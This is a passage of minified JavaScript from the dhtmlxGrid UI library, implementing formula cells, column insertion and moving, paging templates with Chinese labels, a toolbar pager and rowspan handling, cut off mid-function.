e=this.cells(g,l);e.setValue(this._calcSCL(e.cell))}}});a.attachEvent(\"onAfterRowDeleted\",function(h,e){if(e!=0){if(!this._parsing&&this._aggregators.length){for(var g=0;g<this._aggregators.length;g++){if(this._aggregators[g]){var c=this.cells(e,g);c.setValue(this._calcSCL(c.cell))}}}}return true});a.attachEvent(\"onXLE\",function(){for(var c=0;c<this._aggregators.length;c++){if(this._aggregators[c]){this._h2.forEachChild(0,function(g){if(g.childs.length!=0){var e=this.cells(g.id,c);e.setValue(this._calcSCL(e.cell))}},this)}}})});dhtmlXGridObject.prototype.enableMathSerialization=function(a){this._mathSerialization=dhx4.s2b(a)};dhtmlXGridObject.prototype.setMathRound=function(a){this._roundDl=a;this._roundD=Math.pow(10,a)};dhtmlXGridObject.prototype.enableMathEditing=function(a){this._mathEdit=dhx4.s2b(a)};dhtmlXGridObject.prototype._calcSCL=function(cell){if(!cell._code){return this.cells5(cell).getValue()}try{dhtmlx.agrid=this;var z=eval(cell._code)}catch(e){return(\"#SCL\")}if(this._roundD){var pre=Math.abs(z)<1?\"0\":\"\";if(z<0){pre=\"-\"+pre}z=Math.round(Math.abs(z)*this._roundD).toString();if(z==0){return 0}if(this._roundDl>0){var n=z.length-this._roundDl;if(n<0){z=(\"000000000\"+z).substring(9+n);n=0}return(pre+z.substring(0,n)+\".\"+z.substring(n,z.length))}return pre+z}return z};dhtmlXGridObject.prototype._countTotal=function(l,c){var a=0;var h=this._h2.get[l];for(var e=0;e<h.childs.length;e++){if(!h.childs[e].buff){return a}if(h.childs[e].buff._parser){this._h2.forEachChild(l,function(m){if(m.childs.length==0){var n=parseFloat(this._get_cell_value(m.buff,c),10);if(n){a+=n}}},this);return a}var g=parseFloat(this._get_cell_value(h.childs[e].buff,c),10);if(g){a+=g}}return a};dhtmlXGridObject.prototype._compileSCL=function(e,c,a){if(e===null||e===window.undefined){return e}e=e.toString();if(e.indexOf(\"=\")!=0||!c.parentNode){this._reLink([],c);if(a){c._code=c.original=null}return e}c.original=e;var l=null;e=e.replace(\"=\",\"\");if(e.indexOf(\"sum\")!=-1){e=e.replace(\"sum\",\"(dhtmlx.agrid._countTotal('\"+c.parentNode.idd+\"',\"+c._cellIndex+\"))\");if(!this._aggregators){this._aggregators=[]}this._aggregators[c._cellIndex]=\"sum\";c._code=e;return this._parsing?\"\":this._calcSCL(c)}if(e.indexOf(\"[[\")!=-1){var h=/(\\[\\[([^\\,]*)\\,([^\\]]*)]\\])/g;dhtmlx.agrid=this;l=l||(new Array());e=e.replace(h,function(n,m,q,o){if(q==\"-\"){q=c.parentNode.idd}if(q.indexOf(\"#\")==0){q=dhtmlx.agrid.getRowId(q.replace(\"#\",\"\"))}l[l.length]=[q,o];return'(parseFloat(dhtmlx.agrid.cells(\"'+q+'\",'+o+\").getValue(),10))\"})}if(e.indexOf(\":\")!=-1){var h=/:(\\w+)/g;dhtmlx.agrid=this;var g=c.parentNode.idd;l=l||(new Array());e=e.replace(h,function(n,m,q,o){l[l.length]=[g,dhtmlx.agrid.getColIndexById(m)];return'(parseFloat(dhtmlx.agrid.cells(\"'+g+'\",dhtmlx.agrid.getColIndexById(\"'+m+'\")).getValue(),10))'})}else{var h=/c([0-9]+)/g;dhtmlx.agrid=this;var g=c.parentNode.idd;l=l||(new Array());e=e.replace(h,function(n,m,q,o){l[l.length]=[g,m];return'(parseFloat(dhtmlx.agrid.cells(\"'+g+'\",'+m+\").getValue(),10))\"})}this._reLink(l,c);c._code=e;return this._calcSCL(c)};dhtmlXGridObject.prototype._reLink=function(c,a){if(!c.length){return}for(var g=0;g<c.length;g++){if(!this._mat_links[c[g][0]]){this._mat_links[c[g][0]]={}}var e=this._mat_links[c[g][0]];if(!e[c[g][1]]){e[c[g][1]]=[]}e[c[g][1]].push(a)}};if(_isKHTML){(function(){var a=String.prototype.replace;String.prototype.replace=function(q,e){if(typeof e!=\"function\"){return a.apply(this,arguments)}var h=\"\"+this;var n=e;if(!(q instanceof RegExp)){var m=h.indexOf(q);return(m==-1?h:a.apply(h,[q,n(q,m,h)]))}var c=q;var r=[];var l=c.lastIndex;var o;while((o=c.exec(h))!=null){var m=o.index;var g=o.concat(m,h);r.push(h.slice(l,m),n.apply(null,g).toString());if(!c.global){l+=RegExp.lastMatch.length;break}else{l=c.lastIndex}}r.push(h.slice(l));return r.join(\"\")}})()}dhtmlXGridObject.prototype.insertColumn=function(e,n,q,a,m,o,s,c,h){e=parseInt(e);if(e>this._cCount){e=this._cCount}if(!this._cMod){this._cMod=this._cCount}this._processAllArrays(this._cCount,e-1,[(n||\"&nbsp;\"),(a||100),(q||\"ed\"),(o||\"left\"),(s||\"\"),(m||\"na\"),(h||\"\"),\"\",this._cMod,(a||100)]);this._processAllRows(\"_addColInRow\",e);if(typeof(n)==\"object\"){for(var l=1;l<this.hdr.rows.length;l++){if(n[l-1]==\"#rspan\"){var v=l-1;var u=false;var r=null;while(!u){var r=this.hdr.rows[v];for(var g=0;g<r.cells.length;g++){if(r.cells[g]._cellIndex==e){u=g;break}}v--}this.hdr.rows[v+1].cells[g].rowSpan=(this.hdr.rows[v].cells[g].rowSpan||1)+1}else{this.setHeaderCol(e,(n[l-1]||\"&nbsp;\"),l)}}}else{this.setHeaderCol(e,(n||\"&nbsp;\"))}this.hdr.rows[0].cells[e];this._cCount++;this._cMod++;this._master_row=null;this.setSizes()};dhtmlXGridObject.prototype.deleteColumn=function(a){a=parseInt(a);if(this._cCount==0){return}if(!this._cMod){this._cMod=this._cCount}if(a>=this._cCount){return}this._processAllArrays(a,this._cCount-1,[null,null,null,null,null,null,null,null,null,null,null]);this._processAllRows(\"_deleteColInRow\",a);this._cCount--;this._master_row=null;this.setSizes()};dhtmlXGridObject.prototype._processAllRows=function(h,a,c){this[h](this.obj.rows[0],a,c,0);var g=this.hdr.rows.length;for(var e=0;e<g;e++){this[h](this.hdr.rows[e],a,c,e)}if(this.ftr){var g=this.ftr.firstChild.rows.length;for(var e=0;e<g;e++){this[h](this.ftr.firstChild.rows[e],a,c,e)}}this.forEachRow(function(l){if(this.rowsAr[l]&&this.rowsAr[l].tagName==\"TR\"){this[h](this.rowsAr[l],a,c,-1)}})};dhtmlXGridObject.prototype._processAllArrays=function(q,a,o){var h=[\"hdrLabels\",\"initCellWidth\",\"cellType\",\"cellAlign\",\"cellVAlign\",\"fldSort\",\"columnColor\",\"_hrrar\",\"_c_order\"];if(this.cellWidthPX.length){h.push(\"cellWidthPX\")}if(this.cellWidthPC.length){h.push(\"cellWidthPC\")}if(this._col_combos){h.push(\"_col_combos\")}if(this._mCols){h[h.length]=\"_mCols\"}if(this.columnIds){h[h.length]=\"columnIds\"}if(this._maskArr){h.push(\"_maskArr\")}if(this._drsclmW){h.push(\"_drsclmW\")}if(this._RaSeCol){h.push(\"_RaSeCol\")}if(this._hm_config){h.push(\"_hm_config\")}if(this._drsclmn){h.push(\"_drsclmn\")}if(this.clists){h.push(\"clists\")}if(this._validators&&this._validators.data){h.push(this._validators.data)}h.push(\"combos\");if(this._customSorts){h.push(\"_customSorts\")}if(this._aggregators){h.push(\"_aggregators\")}var n=(q<=a);if(!this._c_order){this._c_order=new Array();var e=this._cCount;for(var m=0;m<e;m++){this._c_order[m]=m}}for(var m=0;m<h.length;m++){var r=this[h[m]]||h[m];if(r){if(n){var c=r[q];for(var g=q;g<a;g++){r[g]=r[g+1]}r[a]=c}else{var c=r[q];for(var g=q;g>(a+1);g--){r[g]=r[g-1]}r[a+1]=c}if(o){r[a+(n?0:1)]=o[m]}}}};dhtmlXGridObject.prototype.moveColumn=function(a,c){c--;a=parseInt(a);c=parseInt(c);if(c<a){var e=c+1}else{var e=c}if(!this.callEvent(\"onBeforeCMove\",[a,e])){return false}if(a==e){return}this.editStop();this._processAllRows(\"_moveColInRow\",a,c);this._processAllArrays(a,c);if(this.fldSorted){this.setSortImgPos(this.fldSorted._cellIndex)}this.callEvent(\"onAfterCMove\",[a,e])};dhtmlXGridObject.prototype._swapColumns=function(c){var e=new Array();for(var a=0;a<this._cCount;a++){var g=c[this._c_order[a]];if(typeof(g)==\"undefined\"){g=\"\"}e[a]=g}return e};dhtmlXGridObject.prototype._moveColInRow=function(l,a,e){var m=l.childNodes[a];var h=l.childNodes[e+1];if(!m){return}if(h){l.insertBefore(m,h)}else{l.appendChild(m)}for(var g=0;g<l.childNodes.length;g++){l.childNodes[g]._cellIndex=l.childNodes[g]._cellIndexS=g}};dhtmlXGridObject.prototype._addColInRow=function(n,l,a,g){var h=l;if(n._childIndexes){if(n._childIndexes[l-1]==n._childIndexes[l]||!n.childNodes[n._childIndexes[l-1]]){for(var e=n._childIndexes.length;e>=l;e--){n._childIndexes[e]=e?(n._childIndexes[e-1]+1):0}n._childIndexes[l]--}else{for(var e=n._childIndexes.length;e>=l;e--){n._childIndexes[e]=e?(n._childIndexes[e-1]+1):0}}var h=n._childIndexes[l]}var o=n.childNodes[h];var m=document.createElement((g)?\"TD\":\"TH\");if(g){m._attrs={}}else{m.style.width=(parseInt(this.cellWidthPX[l])||\"100\")+\"px\"}if(o){n.insertBefore(m,o)}else{n.appendChild(m)}if(this.dragAndDropOff&&n.idd){this.dragger.addDraggableItem(n.childNodes[h],this)}for(var e=h+1;e<n.childNodes.length;e++){n.childNodes[e]._cellIndex=n.childNodes[e]._cellIndexS=n.childNodes[e]._cellIndex+1}if(n.childNodes[h]){n.childNodes[h]._cellIndex=n.childNodes[h]._cellIndexS=l}if(n.idd||typeof(n.idd)!=\"undefined\"){this.cells3(n,l).setValue(\"\");m.align=this.cellAlign[l];m.style.verticalAlign=this.cellVAlign[l];m.bgColor=this.columnColor[l]}else{if(m.tagName==\"TD\"){if(!n.idd&&this.forceDivInHeader){m.innerHTML=\"<div class='hdrcell'>&nbsp;</div>\"}else{m.innerHTML=\"&nbsp;\"}}}};dhtmlXGridObject.prototype._deleteColInRow=function(n,m){var e=m;if(n._childIndexes){m=n._childIndexes[m]}var o=n.childNodes[m];if(!o){return}if(o.colSpan&&o.colSpan>1&&o.parentNode.idd){var h=o.colSpan-1;var a=this.cells4(o).getValue();this.setColspan(o.parentNode.idd,o._cellIndex,1);if(h>1){var l=o._cellIndex*1;this.setColspan(o.parentNode.idd,l+1,h);this.cells(o.parentNode.idd,o._cellIndex*1+1).setValue(a);n._childIndexes.splice(l,1);for(var g=l;g<n._childIndexes.length;g++){n._childIndexes[g]-=1}}}else{if(n._childIndexes){n._childIndexes.splice(e,1);for(var g=e;g<n._childIndexes.length;g++){n._childIndexes[g]--}}}if(o){n.removeChild(o)}for(var g=m;g<n.childNodes.length;g++){n.childNodes[g]._cellIndex=n.childNodes[g]._cellIndexS=n.childNodes[g]._cellIndex-1}};dhtmlXGridObject.prototype.enableColumnMove=function(c,a){this._mCol=dhx4.s2b(c);if(typeof(a)!=\"undefined\"){this._mCols=a.split(\",\")}if(!this._mmevTrue){dhtmlxEvent(this.hdr,\"mousedown\",this._startColumnMove);dhtmlxEvent(document.body,\"mousemove\",this._onColumnMove);dhtmlxEvent(document.body,\"mouseup\",this._stopColumnMove);this._mmevTrue=true}};dhtmlXGridObject.prototype._startColumnMove=function(h){h=h||event;var g=h.target||h.srcElement;var a=g;while(a.tagName!=\"TABLE\"){a=a.parentNode}var c=a.grid;if(!c){return}c.setActive();if(!c._mCol||h.button==2){return}g=c.getFirstParentOfType(g,\"TD\");if(g.style.cursor!=\"default\"){return true}if((c)&&(!c._colInMove)){c.resized=null;if((!c._mCols)||(c._mCols[g._cellIndex]==\"true\")){c._colInMove=g._cellIndex+1}}c._colInMovePos={x:h.clientX,y:h.clientY};return true};dhtmlXGridObject.prototype._onColumnMove=function(m){m=m||event;var a=window.globalActiveDHTMLGridObject;if((a)&&(a._colInMove)){var l=Math.max(Math.abs(m.clientX-a._colInMovePos.x),Math.abs(m.clientY-a._colInMovePos.y));if(l<20){return}if(a._hideHContext){a._hideHContext()}if(typeof(a._colInMove)!=\"object\"){var n=document.createElement(\"DIV\");n._aIndex=(a._colInMove-1);n._bIndex=null;n.innerHTML=a.getHeaderCol(n._aIndex);n.className=\"dhx_dragColDiv\";n.style.position=\"absolute\";document.body.appendChild(n);a._colInMove=n}var h=[];h[0]=(document.body.scrollLeft||document.documentElement.scrollLeft);h[1]=(document.body.scrollTop||document.documentElement.scrollTop);a._colInMove.style.left=m.clientX+h[0]+8+\"px\";a._colInMove.style.top=m.clientY+h[1]+8+\"px\";var c=m.target||m.srcElement;while((c)&&(typeof(c._cellIndexS)==\"undefined\")){c=c.parentNode}if(a._colInMove._oldHe){a._colInMove._oldHe.className=a._colInMove._oldHe.className.replace(/columnTarget(L|R)/g,\"\");a._colInMove._oldHe=null;a._colInMove._bIndex=null}if(c){if(a.hdr.rows[1]._childIndexes){var g=a.hdr.rows[1].cells[a.hdr.rows[1]._childIndexes[c._cellIndexS]]}else{var g=a.hdr.rows[1].cells[c._cellIndexS]}var n=m.clientX-(dhx4.absLeft(g)-a.hdrBox.scrollLeft);if(n/g.offsetWidth>0.5){g.className+=\" columnTargetR\";a._colInMove._bIndex=c._cellIndexS}else{g.className+=\" columnTargetL\";a._colInMove._bIndex=c._cellIndexS-1}if(g.offsetLeft<(a.objBox.scrollLeft+20)){a.objBox.scrollLeft=Math.max(0,g.offsetLeft-20)}if((g.offsetLeft+g.offsetWidth-a.objBox.scrollLeft)>(a.objBox.offsetWidth-20)){a.objBox.scrollLeft=Math.min(a.objBox.scrollLeft+g.offsetWidth+20,a.objBox.scrollWidth-a.objBox.offsetWidth)}a._colInMove._oldHe=g}m.cancelBubble=true;return false}return true};dhtmlXGridObject.prototype._stopColumnMove=function(c){c=c||event;var a=window.globalActiveDHTMLGridObject;if((a)&&(a._colInMove)){if(typeof(a._colInMove)==\"object\"){a._colInMove.parentNode.removeChild(a._colInMove);if(a._colInMove._bIndex!=null){a.moveColumn(a._colInMove._aIndex,a._colInMove._bIndex+1)}if(a._colInMove._oldHe){a._colInMove._oldHe.className=a._colInMove._oldHe.className.replace(/columnTarget(L|R)/g,\"\")}a._colInMove._oldHe=null;a._colInMove.grid=null;a.resized=true}a._colInMove=0}return true};dhtmlXGridObject.prototype.mouseOverHeader=function(c){var a=this;dhtmlxEvent(this.hdr,\"mousemove\",function(h){h=h||window.event;var g=h.target||h.srcElement;if(g.tagName!=\"TD\"){g=a.getFirstParentOfType(g,\"TD\")}if(g&&(typeof(g._cellIndex)!=\"undefined\")){c(g.parentNode.rowIndex,g._cellIndex)}})};dhtmlXGridObject.prototype.mouseOver=function(c){var a=this;dhtmlxEvent(this.obj,\"mousemove\",function(h){h=h||window.event;var g=h.target||h.srcElement;if(g.tagName!=\"TD\"){g=a.getFirstParentOfType(g,\"TD\")}if(g&&(typeof(g._cellIndex)!=\"undefined\")){c(g.parentNode.rowIndex,g._cellIndex)}})};dhtmlXGridObject.prototype.enablePaging=function(l,g,c,h,a,e){this._pgn_parentObj=typeof(h)==\"string\"?document.getElementById(h):h;this._pgn_recInfoParentObj=typeof(e)==\"string\"?document.getElementById(e):e;this.pagingOn=l;this.showRecInfo=a;this.rowsBufferOutSize=parseInt(g);this.currentPage=1;this.pagesInGroup=parseInt(c);this._init_pgn_events();this.setPagingSkin(\"default\")};dhtmlXGridObject.prototype.setXMLAutoLoading=function(a,c){this.xmlFileUrl=a;this._dpref=c};dhtmlXGridObject.prototype.changePageRelative=function(a){this.changePage(this.currentPage+a)};dhtmlXGridObject.prototype.changePage=function(a){if(arguments.length==0){a=this.currentPage||0}a=parseInt(a);a=Math.max(1,Math.min(a,Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)));if(!this.callEvent(\"onBeforePageChanged\",[this.currentPage,a])){return}this.currentPage=parseInt(a);this._reset_view();this._fixAlterCss();this.callEvent(\"onPageChanged\",this.getStateOfView())};dhtmlXGridObject.prototype.setPagingSkin=function(a){this._pgn_skin=this[\"_pgn_\"+a];if(a==\"toolbar\"){this._pgn_skin_tlb=arguments[1]}};dhtmlXGridObject.prototype.setPagingTemplates=function(e,c){this._pgn_templateA=this._pgn_template_compile(e);this._pgn_templateB=this._pgn_template_compile(c);this._page_skin_update()};dhtmlXGridObject.prototype._page_skin_update=function(a){if(!this.pagesInGroup){this.pagesInGroup=Math.ceil(Math.min(5,this.rowsBuffer.length/this.rowsBufferOutSize))}var c=Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize);if(c&&c<this.currentPage){return this.changePage(c)}if(this.pagingOn&&this._pgn_skin){this._pgn_skin.apply(this,this.getStateOfView())}};dhtmlXGridObject.prototype._init_pgn_events=function(a){this.attachEvent(\"onXLE\",this._page_skin_update);this.attachEvent(\"onClearAll\",this._page_skin_update);this.attachEvent(\"onPageChanged\",this._page_skin_update);this.attachEvent(\"onGridReconstructed\",this._page_skin_update);this._init_pgn_events=function(){}};dhtmlXGridObject.prototype._pgn_default=function(e,g,a){if(!this.pagingBlock){this.pagingBlock=document.createElement(\"DIV\");this.pagingBlock.className=\"pagingBlock\";this.recordInfoBlock=document.createElement(\"SPAN\");this.recordInfoBlock.className=\"recordsInfoBlock\";if(!this._pgn_parentObj){return}this._pgn_parentObj.appendChild(this.pagingBlock);if(this._pgn_recInfoParentObj&&this.showRecInfo){this._pgn_recInfoParentObj.appendChild(this.recordInfoBlock)}if(!this._pgn_templateA){this._pgn_templateA=this._pgn_template_compile(\"[prevpages:&lt;:&nbsp;] [currentpages:,&nbsp;] [nextpages:&gt;:&nbsp;]\");this._pgn_templateB=this._pgn_template_compile(\"Results <b>[from]-[to]</b> of <b>[total]</b>\")}}var c=this.getStateOfView();this.pagingBlock.innerHTML=this._pgn_templateA.apply(this,c);this.recordInfoBlock.innerHTML=this._pgn_templateB.apply(this,c);this._pgn_template_active(this.pagingBlock);this._pgn_template_active(this.recordInfoBlock);this.callEvent(\"onPaging\",[])};dhtmlXGridObject.prototype._pgn_block=function(c){var h=Math.floor((this.currentPage-1)/this.pagesInGroup)*this.pagesInGroup;var a=Math.min(Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize),h+this.pagesInGroup);var g=[];for(var e=h+1;e<=a;e++){if(e==this.currentPage){g.push(\"<a class='dhx_not_active'><b>\"+e+\"</b></a>\")}else{g.push(\"<a onclick='this.grid.changePage(\"+e+\"); return false;'>\"+e+\"</a>\")}}return g.join(c)};dhtmlXGridObject.prototype._pgn_link=function(g,c,e){if(g==\"prevpages\"||g==\"prev\"){if(this.currentPage==1){return e}return\"<a onclick='this.grid.changePageRelative(-1*\"+(g==\"prev\"?\"1\":\"this.grid.pagesInGroup\")+\"); return false;'>\"+c+\"</a>\"}if(g==\"nextpages\"||g==\"next\"){if(this.rowsBuffer.length/this.rowsBufferOutSize<=this.currentPage){return e}if(this.rowsBuffer.length/(this.rowsBufferOutSize*(g==\"next\"?\"1\":this.pagesInGroup))<=1){return e}return\"<a onclick='this.grid.changePageRelative(\"+(g==\"next\"?\"1\":\"this.grid.pagesInGroup\")+\"); return false;'>\"+c+\"</a>\"}if(g==\"current\"){var a=this.currentPage+(c?parseInt(c):0);if(a<1||Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)<a){return e}return\"<a \"+(a==this.currentPage?\"class='dhx_active_page_link' \":\"\")+\"onclick='this.grid.changePage(\"+a+\"); return false;'>\"+a+\"</a>\"}return c};dhtmlXGridObject.prototype._pgn_template_active=function(e){var a=e.getElementsByTagName(\"A\");if(a){for(var c=0;c<a.length;c++){a[c].grid=this}}};dhtmlXGridObject.prototype._pgn_template_compile=function(a){a=a.replace(/\\[([^\\]]*)\\]/g,function(e,c){c=c.split(\":\");switch(c[0]){case\"from\":return'\"+(arguments[1]*1+(arguments[2]*1?1:0))+\"';case\"total\":return'\"+arguments[3]+\"';case\"to\":return'\"+arguments[2]+\"';case\"current\":case\"prev\":case\"next\":case\"prevpages\":case\"nextpages\":return\"\\\"+this._pgn_link('\"+c[0]+\"','\"+c[1]+\"','\"+c[2]+\"')+\\\"\";case\"currentpages\":return\"\\\"+this._pgn_block('\"+c[1]+\"')+\\\"\"}});return new Function('return \"'+a+'\";')};dhtmlXGridObject.prototype.i18n.paging={results:\"Results\",records:\"数据集 \",to:\" - \",page:\"页面 \",perpage:\"条/页\",first:\"第一页\",previous:\"上一页\",found:\"找到数据\",next:\"下一页\",last:\"最后一页\",of:\" of \",notfound:\"暂时没有数据\"};dhtmlXGridObject.prototype.setPagingWTMode=function(a,c,e,g){this._WTDef=[a,c,e,g]};dhtmlXGridObject.prototype._pgn_bricks=function(n,a,e){var h=(this.skin_name||\"\").split(\"_\")[1];var c=\"\";if(h==\"light\"||h==\"modern\"||h==\"skyblue\"){c=\"_\"+h}this.pagerElAr=new Array();this.pagerElAr.pagerCont=document.createElement(\"DIV\");this.pagerElAr.pagerBord=document.createElement(\"DIV\");this.pagerElAr.pagerLine=document.createElement(\"DIV\");this.pagerElAr.pagerBox=document.createElement(\"DIV\");this.pagerElAr.pagerInfo=document.createElement(\"DIV\");this.pagerElAr.pagerInfoBox=document.createElement(\"DIV\");var m=(this.globalBox||this.objBox);this.pagerElAr.pagerCont.style.width=m.clientWidth+\"px\";this.pagerElAr.pagerCont.style.overflow=\"hidden\";this.pagerElAr.pagerCont.style.clear=\"both\";this.pagerElAr.pagerBord.className=\"dhx_pbox\"+c;this.pagerElAr.pagerLine.className=\"dhx_pline\"+c;this.pagerElAr.pagerBox.style.clear=\"both\";this.pagerElAr.pagerInfo.className=\"dhx_pager_info\"+c;this.pagerElAr.pagerCont.appendChild(this.pagerElAr.pagerBord);this.pagerElAr.pagerCont.appendChild(this.pagerElAr.pagerLine);this.pagerElAr.pagerCont.appendChild(this.pagerElAr.pagerInfo);this.pagerElAr.pagerLine.appendChild(this.pagerElAr.pagerBox);this.pagerElAr.pagerInfo.appendChild(this.pagerElAr.pagerInfoBox);this._pgn_parentObj.innerHTML=\"\";this._pgn_parentObj.appendChild(this.pagerElAr.pagerCont);if(this.rowsBuffer.length>0){var l=20;var s=22;if(n>this.pagesInGroup){var q=document.createElement(\"DIV\");var o=document.createElement(\"DIV\");q.className=\"dhx_page\"+c;o.innerHTML=\"&larr;\";q.appendChild(o);this.pagerElAr.pagerBox.appendChild(q);var r=this;q.pgnum=(Math.ceil(n/this.pagesInGroup)-1)*this.pagesInGroup;q.onclick=function(){r.changePage(this.pgnum)};l+=s}for(var g=1;g<=this.pagesInGroup;g++){var q=document.createElement(\"DIV\");var o=document.createElement(\"DIV\");q.className=\"dhx_page\"+c;pageNumber=((Math.ceil(n/this.pagesInGroup)-1)*this.pagesInGroup)+g;if(pageNumber>Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)){break}o.innerHTML=pageNumber;q.appendChild(o);if(n==pageNumber){q.className+=\" dhx_page_active\"+c;o.className=\"dhx_page_active\"+c}else{var r=this;q.pgnum=pageNumber;q.onclick=function(){r.changePage(this.pgnum)}}l+=(parseInt(s/3)*pageNumber.toString().length)+15;o.style.width=(parseInt(s/3)*pageNumber.toString().length)+8+\"px\";this.pagerElAr.pagerBox.appendChild(q)}if(Math.ceil(n/this.pagesInGroup)*this.pagesInGroup<Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)){var q=document.createElement(\"DIV\");var o=document.createElement(\"DIV\");q.className=\"dhx_page\"+c;o.innerHTML=\"&rarr;\";q.appendChild(o);this.pagerElAr.pagerBox.appendChild(q);var r=this;q.pgnum=(Math.ceil(n/this.pagesInGroup)*this.pagesInGroup)+1;q.onclick=function(){r.changePage(this.pgnum)};l+=s}this.pagerElAr.pagerLine.style.width=l+\"px\"}if(this.rowsBuffer.length>0&&this.showRecInfo){this.pagerElAr.pagerInfoBox.innerHTML=this.i18n.paging.records+(a+1)+this.i18n.paging.to+e+this.i18n.paging.of+this.rowsBuffer.length}else{if(this.rowsBuffer.length==0){this.pagerElAr.pagerLine.parentNode.removeChild(this.pagerElAr.pagerLine);this.pagerElAr.pagerInfoBox.innerHTML=this.i18n.paging.notfound}}this.pagerElAr.pagerBox.appendChild(document.createElement(\"SPAN\")).innerHTML=\"&nbsp;\";this.pagerElAr.pagerBord.appendChild(document.createElement(\"SPAN\")).innerHTML=\"&nbsp;\";this.pagerElAr.pagerCont.appendChild(document.createElement(\"SPAN\")).innerHTML=\"&nbsp;\";this.callEvent(\"onPaging\",[])};dhtmlXGridObject.prototype._pgn_toolbar=function(l,m,c){if(!this.aToolBar){this.aToolBar=this._pgn_createToolBar()}var h=Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize);if(this._WTDef[0]){this.aToolBar.enableItem(\"right\");this.aToolBar.enableItem(\"rightabs\");this.aToolBar.enableItem(\"left\");this.aToolBar.enableItem(\"leftabs\");if(this.currentPage>=h){this.aToolBar.disableItem(\"right\");this.aToolBar.disableItem(\"rightabs\")}if(this.currentPage==1){this.aToolBar.disableItem(\"left\");this.aToolBar.disableItem(\"leftabs\")}}if(this._WTDef[2]){var g=this;this.aToolBar.forEachListOption(\"pages\",function(n){g.aToolBar.removeListOption(\"pages\",n)});var a={dhx_skyblue:4,dhx_web:0,dhx_terrace:14}[this.aToolBar.conf.skin];for(var e=0;e<h;e++){this.aToolBar.addListOption(\"pages\",\"pages_\"+(e+1),NaN,\"button\",\"<span style='padding: 0px \"+a+\"px 0px 0px;'>\"+this.i18n.paging.page+(e+1)+\"</span>\",\"paging_page.gif\")}this.aToolBar.setItemText(\"pages\",this.i18n.paging.page+l)}if(this._WTDef[1]){if(!this.getRowsNum()){this.aToolBar.setItemText(\"results\",this.i18n.paging.notfound)}else{this.aToolBar.setItemText(\"results\",\"<div style='width:100%; text-align:center'>\"+this.i18n.paging.records+(m+1)+this.i18n.paging.to+c+\"</div>\")}}if(this._WTDef[3]){this.aToolBar.setItemText(\"perpagenum\",this.rowsBufferOutSize.toString()+\" \"+this.i18n.paging.perpage)}this.callEvent(\"onPaging\",[])};dhtmlXGridObject.prototype._pgn_createToolBar=function(){this.aToolBar=new dhtmlXToolbarObject({parent:this._pgn_parentObj,skin:(this._pgn_skin_tlb||this.skin_name),icons_path:this.imgURL});if(!this._WTDef){this.setPagingWTMode(true,true,true,true)}var g=this;this.aToolBar.attachEvent(\"onClick\",function(h){h=h.split(\"_\");switch(h[0]){case\"leftabs\":g.changePage(1);break;case\"left\":g.changePage(g.currentPage-1);break;case\"rightabs\":g.changePage(99999);break;case\"right\":g.changePage(g.currentPage+1);break;case\"perpagenum\":if(h[1]===this.undefined){return}g.rowsBufferOutSize=parseInt(h[1]);g.changePage();g.aToolBar.setItemText(\"perpagenum\",h[1]+\" \"+g.i18n.paging.perpage);break;case\"pages\":if(h[1]===this.undefined){return}g.changePage(h[1]);g.aToolBar.setItemText(\"pages\",g.i18n.paging.page+h[1]);break}});if(this._WTDef[0]){this.aToolBar.addButton(\"leftabs\",NaN,null,\"ar_left_abs.gif\",\"ar_left_abs_dis.gif\");this.aToolBar.addButton(\"left\",NaN,null,\"ar_left.gif\",\"ar_left_dis.gif\")}if(this._WTDef[1]){this.aToolBar.addText(\"results\",NaN,this.i18n.paging.results);this.aToolBar.setWidth(\"results\",\"150\");this.aToolBar.disableItem(\"results\")}if(this._WTDef[0]){this.aToolBar.addButton(\"right\",NaN,null,\"ar_right.gif\",\"ar_right_dis.gif\");this.aToolBar.addButton(\"rightabs\",NaN,null,\"ar_right_abs.gif\",\"ar_right_abs_dis.gif\")}if(this._WTDef[2]){if(this.aToolBar.conf.skin==\"dhx_terrace\"){this.aToolBar.addSeparator()}this.aToolBar.addButtonSelect(\"pages\",NaN,\"select page\",[],\"paging_pages.gif\",null,false,true)}var a;if(a=this._WTDef[3]){if(this.aToolBar.conf.skin==\"dhx_terrace\"){this.aToolBar.addSeparator()}this.aToolBar.addButtonSelect(\"perpagenum\",NaN,\"select size\",[],\"paging_rows.gif\",null,false,true);if(typeof a!=\"object\"){a=[100,200,300,400,500,1000]}var c={dhx_skyblue:4,dhx_web:0,dhx_terrace:18}[this.aToolBar.conf.skin];for(var e=0;e<a.length;e++){this.aToolBar.addListOption(\"perpagenum\",\"perpagenum_\"+a[e],NaN,\"button\",\"<span style='padding: 0px \"+c+\"px 0px 0px;'>\"+a[e]+\" \"+this.i18n.paging.perpage+\"</span>\",\"paging_page.gif\")}}return this.aToolBar};dhtmlXGridObject.prototype.post=function(a,c,g,e){this.callEvent(\"onXLS\",[this]);if(arguments.length==2&&typeof g!=\"function\"){e=g;g=null}e=e||\"xml\";if(!this.xmlFileUrl){this.xmlFileUrl=a}this._data_type=e;this.xmlLoader=this.doLoadDetails;var h=this;this.xmlLoader=function(l){if(!h.callEvent){return}h[\"_process_\"+e](l.xmlDoc);if(!h._contextCallTimer){h.callEvent(\"onXLE\",[h,0,0,l.xmlDoc])}if(g){g();g=null}};dhx4.ajax.post(a,(c||\"\"),this.xmlLoader)};dhtmlXGridObject.prototype.setRowspan=function(q,u,h){var s=this[this._bfs_cells?\"_bfs_cells\":\"cells\"](q,u).cell;var a=this.rowsAr[q];if(s.rowSpan&&s.rowSpan!=1){var l=a.nextSibling;for(var n=1;n<s.rowSpan;n++){var m=l.childNodes[l._childIndexes[s._cellIndex+1]];var e=document.createElement(\"TD\");e.innerHTML=\"&nbsp;\";e._cellIndex=s._cellIndex;e._clearCell=true;if(m){m.parentNode.insertBefore(e,m)}else{l.parentNode.appendChild(e)}this._shiftIndexes(l,s._cellIndex,-1);l=l.nextSibling}}s.rowSpan=h;if(!this._h2){a=a.nextSibling||this.rowsCol[this.rowsCol._dhx_find(a)+1]}else{a=this.rowsAr[this._h2.get[a.idd].parent.childs[this._h2.get[a.idd].index+1].id]}var g=[];for(var n=1;n<h;n++){var 